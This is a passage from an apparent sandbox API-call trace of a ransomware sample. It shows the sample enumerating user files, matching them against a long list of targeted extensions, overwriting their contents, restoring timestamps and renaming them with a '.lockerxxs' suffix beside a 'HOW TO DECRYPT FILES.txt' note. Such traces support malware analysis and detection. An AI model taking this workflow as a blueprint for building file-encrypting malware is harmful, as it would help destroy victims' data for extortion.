lpString2="1J3jx784NF4X60.mp3") returned -1 [0087.212] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi") returned="05QmCpRmMoBK.avi" [0087.212] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.212] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.212] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.212] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.212] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="1J3jx784NF4X60.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3" [0087.212] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3", pszSpec="*.ems") returned 0 [0087.213] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3" [0087.213] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3" [0087.213] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3." [0087.213] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3.lockerxxs" [0087.213] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1j3jx784nf4x60.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.214] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6c68 [0087.214] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdbf7f010, dwHighDateTime=0x1d5da47), lpLastAccessTime=0x407536*(dwLowDateTime=0xb1504d70, dwHighDateTime=0x1d5de44), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb1504d70, dwHighDateTime=0x1d5de44)) returned 1 [0087.214] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.214] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x6c42, lpOverlapped=0x0) returned 1 [0087.216] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3") returned="1J3jx784NF4X60.mp3" [0087.216] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.216] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6c42, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6c42, lpOverlapped=0x0) returned 1 [0087.217] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.217] CloseHandle (hObject=0x8c) returned 1 [0087.218] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1j3jx784nf4x60.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1j3jx784nf4x60.mp3.lockerxxs")) returned 1 [0087.219] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ad70760, ftCreationTime.dwHighDateTime=0x1d5e132, ftLastAccessTime.dwLowDateTime=0x15d5c360, ftLastAccessTime.dwHighDateTime=0x1d5e241, ftLastWriteTime.dwLowDateTime=0x15d5c360, ftLastWriteTime.dwHighDateTime=0x1d5e241, nFileSizeHigh=0x0, nFileSizeLow=0x118f2, dwReserved0=0x2c00032f, dwReserved1=0x4e00c4, cFileName="1uwnlbGVOq jp93xUzPo.m4a", cAlternateFileName="1UWNLB~1.M4A")) returned 1 [0087.219] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.219] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1uwnlbGVOq jp93xUzPo.m4a") returned 1 [0087.219] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1uwnlbGVOq jp93xUzPo.m4a") returned 1 [0087.219] lstrcmpiA (lpString1="", lpString2="1uwnlbGVOq jp93xUzPo.m4a") returned -1 [0087.219] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1J3jx784NF4X60.mp3") returned="1J3jx784NF4X60.mp3" [0087.220] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.220] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.220] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.220] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.220] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="1uwnlbGVOq jp93xUzPo.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a" [0087.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.ems") returned 0 [0087.220] lstrlenA (lpString="*.ems") returned 5 [0087.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.db") returned 0 [0087.220] lstrlenA (lpString="*.db") returned 4 [0087.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.dbf") returned 0 [0087.220] lstrlenA (lpString="*.dbf") returned 5 [0087.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.myox") returned 0 [0087.220] lstrlenA (lpString="*.myox") returned 6 [0087.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.myo") returned 0 [0087.220] lstrlenA (lpString="*.myo") returned 5 [0087.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.qbw") returned 0 [0087.220] lstrlenA (lpString="*.qbw") returned 5 [0087.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.qbb") returned 0 [0087.221] lstrlenA (lpString="*.qbb") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.qbm") returned 0 [0087.221] lstrlenA (lpString="*.qbm") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.qbo") returned 0 [0087.221] lstrlenA (lpString="*.qbo") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.qbx") returned 0 [0087.221] lstrlenA (lpString="*.qbx") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.qba") returned 0 [0087.221] lstrlenA (lpString="*.qba") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.qby") returned 0 [0087.221] lstrlenA (lpString="*.qby") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.qbj") returned 0 [0087.221] lstrlenA (lpString="*.qbj") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.ofx") returned 0 [0087.221] lstrlenA (lpString="*.ofx") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.qif") returned 0 [0087.221] lstrlenA (lpString="*.qif") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.mye") returned 0 [0087.221] lstrlenA (lpString="*.mye") returned 5 [0087.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.mbox") returned 0 [0087.222] lstrlenA (lpString="*.mbox") returned 6 [0087.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.eml") returned 0 [0087.222] lstrlenA (lpString="*.eml") returned 5 [0087.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.pst") returned 0 [0087.222] lstrlenA (lpString="*.pst") returned 5 [0087.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.ost") returned 0 [0087.222] lstrlenA (lpString="*.ost") returned 5 [0087.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.idx") returned 0 [0087.222] lstrlenA (lpString="*.idx") returned 5 [0087.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.dbx") returned 0 [0087.222] lstrlenA (lpString="*.dbx") returned 5 [0087.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.sql") returned 0 [0087.222] lstrlenA (lpString="*.sql") returned 5 [0087.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.mdb") returned 0 [0087.222] lstrlenA (lpString="*.mdb") returned 5 [0087.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.fdb") returned 0 [0087.222] lstrlenA (lpString="*.fdb") returned 5 [0087.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.wab") returned 0 [0087.223] lstrlenA (lpString="*.wab") returned 5 [0087.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.dat") returned 0 [0087.223] lstrlenA (lpString="*.dat") returned 5 [0087.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.txt") returned 0 [0087.223] lstrlenA (lpString="*.txt") returned 5 [0087.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.jpeg") returned 0 [0087.223] lstrlenA (lpString="*.jpeg") returned 6 [0087.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.jpg") returned 0 [0087.223] lstrlenA (lpString="*.jpg") returned 5 [0087.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.png") returned 0 [0087.223] lstrlenA (lpString="*.png") returned 5 [0087.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.php") returned 0 [0087.223] lstrlenA (lpString="*.php") returned 5 [0087.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.cs") returned 0 [0087.223] lstrlenA (lpString="*.cs") returned 4 [0087.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.cpp") returned 0 [0087.224] lstrlenA (lpString="*.cpp") returned 5 [0087.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.rar") returned 0 [0087.224] lstrlenA (lpString="*.rar") returned 5 [0087.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.zip") returned 0 [0087.224] lstrlenA (lpString="*.zip") returned 5 [0087.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.html") returned 0 [0087.224] lstrlenA (lpString="*.html") returned 6 [0087.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.htm") returned 0 [0087.224] lstrlenA (lpString="*.htm") returned 5 [0087.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.xlsx") returned 0 [0087.224] lstrlenA (lpString="*.xlsx") returned 6 [0087.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.xls") returned 0 [0087.224] lstrlenA (lpString="*.xls") returned 5 [0087.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.mp4") returned 0 [0087.224] lstrlenA (lpString="*.mp4") returned 5 [0087.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.ppt") returned 0 [0087.224] lstrlenA (lpString="*.ppt") returned 5 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.pptx") returned 0 [0087.225] lstrlenA (lpString="*.pptx") returned 6 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.doc") returned 0 [0087.225] lstrlenA (lpString="*.doc") returned 5 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.dot") returned 0 [0087.225] lstrlenA (lpString="*.dot") returned 5 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.docx") returned 0 [0087.225] lstrlenA (lpString="*.docx") returned 6 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.7z") returned 0 [0087.225] lstrlenA (lpString="*.7z") returned 4 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.tar") returned 0 [0087.225] lstrlenA (lpString="*.tar") returned 5 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.bz2") returned 0 [0087.225] lstrlenA (lpString="*.bz2") returned 5 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.gz") returned 0 [0087.225] lstrlenA (lpString="*.gz") returned 4 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.mkv") returned 0 [0087.225] lstrlenA (lpString="*.mkv") returned 5 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.eml") returned 0 [0087.225] lstrlenA (lpString="*.eml") returned 5 [0087.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.msg") returned 0 [0087.226] lstrlenA (lpString="*.msg") returned 5 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.edb") returned 0 [0087.226] lstrlenA (lpString="*.edb") returned 5 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.accdb") returned 0 [0087.226] lstrlenA (lpString="*.accdb") returned 7 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.odb") returned 0 [0087.226] lstrlenA (lpString="*.odb") returned 5 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.java") returned 0 [0087.226] lstrlenA (lpString="*.java") returned 6 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.asm") returned 0 [0087.226] lstrlenA (lpString="*.asm") returned 5 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.pfx") returned 0 [0087.226] lstrlenA (lpString="*.pfx") returned 5 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.pem") returned 0 [0087.226] lstrlenA (lpString="*.pem") returned 5 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.p12") returned 0 [0087.226] lstrlenA (lpString="*.p12") returned 5 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.gpg") returned 0 [0087.226] lstrlenA (lpString="*.gpg") returned 5 [0087.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.vsd") returned 0 [0087.227] lstrlenA (lpString="*.vsd") returned 5 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.odg") returned 0 [0087.227] lstrlenA (lpString="*.odg") returned 5 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.raw") returned 0 [0087.227] lstrlenA (lpString="*.raw") returned 5 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.nef") returned 0 [0087.227] lstrlenA (lpString="*.nef") returned 5 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.svg") returned 0 [0087.227] lstrlenA (lpString="*.svg") returned 5 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.psd") returned 0 [0087.227] lstrlenA (lpString="*.psd") returned 5 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.vmx") returned 0 [0087.227] lstrlenA (lpString="*.vmx") returned 5 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.vmdk") returned 0 [0087.227] lstrlenA (lpString="*.vmdk") returned 6 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.vdi") returned 0 [0087.227] lstrlenA (lpString="*.vdi") returned 5 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.lay6") returned 0 [0087.227] lstrlenA (lpString="*.lay6") returned 6 [0087.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.mpeg") returned 0 [0087.228] lstrlenA (lpString="*.mpeg") returned 6 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.djvu") returned 0 [0087.228] lstrlenA (lpString="*.djvu") returned 6 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.tiff") returned 0 [0087.228] lstrlenA (lpString="*.tiff") returned 6 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.backup") returned 0 [0087.228] lstrlenA (lpString="*.backup") returned 8 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.pdf") returned 0 [0087.228] lstrlenA (lpString="*.pdf") returned 5 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.cert") returned 0 [0087.228] lstrlenA (lpString="*.cert") returned 6 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.docm") returned 0 [0087.228] lstrlenA (lpString="*.docm") returned 6 [0087.228] 